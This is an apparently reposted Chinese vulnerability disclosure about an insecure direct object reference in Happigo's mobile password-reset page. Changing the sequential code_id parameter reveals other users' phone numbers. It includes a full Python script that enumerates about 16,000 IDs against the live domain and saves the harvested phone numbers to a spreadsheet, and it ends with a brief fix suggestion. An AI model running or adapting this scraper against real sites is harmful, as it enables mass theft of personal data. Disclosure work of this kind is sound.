来源:自学PHP网 时间:2015-04-17 10:15 作者: 阅读:次
[导读] 快乐购大量用户敏感信息泄露,可批量获取一、在忘记密码功能点,权限控制不严,存在大量用户敏感信息泄露url:m.happigo.com/user/login.php第一步进入登陆页面,点击忘记密码:第二步输...
|
快乐购大量用户敏感信息泄露,可批量获取
一、在忘记密码功能点,权限控制不严,存在大量用户敏感信息泄露 url:m.happigo.com/user/login.php
第一步进入登陆页面,点击忘记密码:
![]() 第二步输入用户名,手机号码,用于发送验证码
![]() 第三步要输入验证码,这里我们就不管了,现在看看url地址:
http://m.happigo.com/user/checkcode.php?code_id=16059
这个code_id就是存在问题,这里我是第16060位重置自己密码的用户,这里把用户的手机号码显示出来了,那么我们试试更改一下这个code_id,看能不能看到其他用户的手机号码。我们把code_id改为16059,如下图,果然可以看到其他用户的手机号码,上一个脚本爬出所有重置过密码的用户的手机号码,大量信息啊!!!
![]() 下面给出脚本批量获取到的用户信息。
============================================================================
#-*- coding:utf-8-*-
import urllib2
from tempfile import TemporaryFile
from xlwt import Workbook
import re
vulinfo_list = []
code_id_list = []
def req_url(code_id):
url = "http://m.happigo.com/user/checkcode.php?code_id=%d" % code_id
req = urllib2.Request(url)
req.add_header( "Connection","keep-alive" )
res = urllib2.urlopen( req )
html = res.read()
return html,code_id
def match_info(html,code_id):
if re.search(r'\d{11}',html):
phonenumber = re.search(r'\d{11}',html).group()
print "[%s]手机号码:" % code_id,phonenumber
vulinfo_list.append(int(phonenumber))
code_id_list.append(int(code_id))
def thread_run(sheet1):
for code_id in range(16060):
html,code_id = req_url(code_id)
match_info(html,code_id)
if len(code_id_list) == len(vulinfo_list):
for i in range(len(vulinfo_list)):
#for j in range(0,2):
sheet1.write(i,0,code_id_list[i])
sheet1.write(i,1,vulinfo_list[i])
def run():
book = Workbook()
sheet1 = book.add_sheet('Sheet 1')
thread_run(sheet1)
book.save('happigo_user_phonenumber.xls')
book.save(TemporaryFile())
if __name__ == "__main__":
run()
============================================================================
结果:
![]() 由于这是很早前的截取的信息,截止目前已经差不多到1w用户手机号码了。
二、声明
没有泄露任何截获到的用户信息,及进行非法操作。
修复方案:
隐藏并控制好用户敏感信息 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com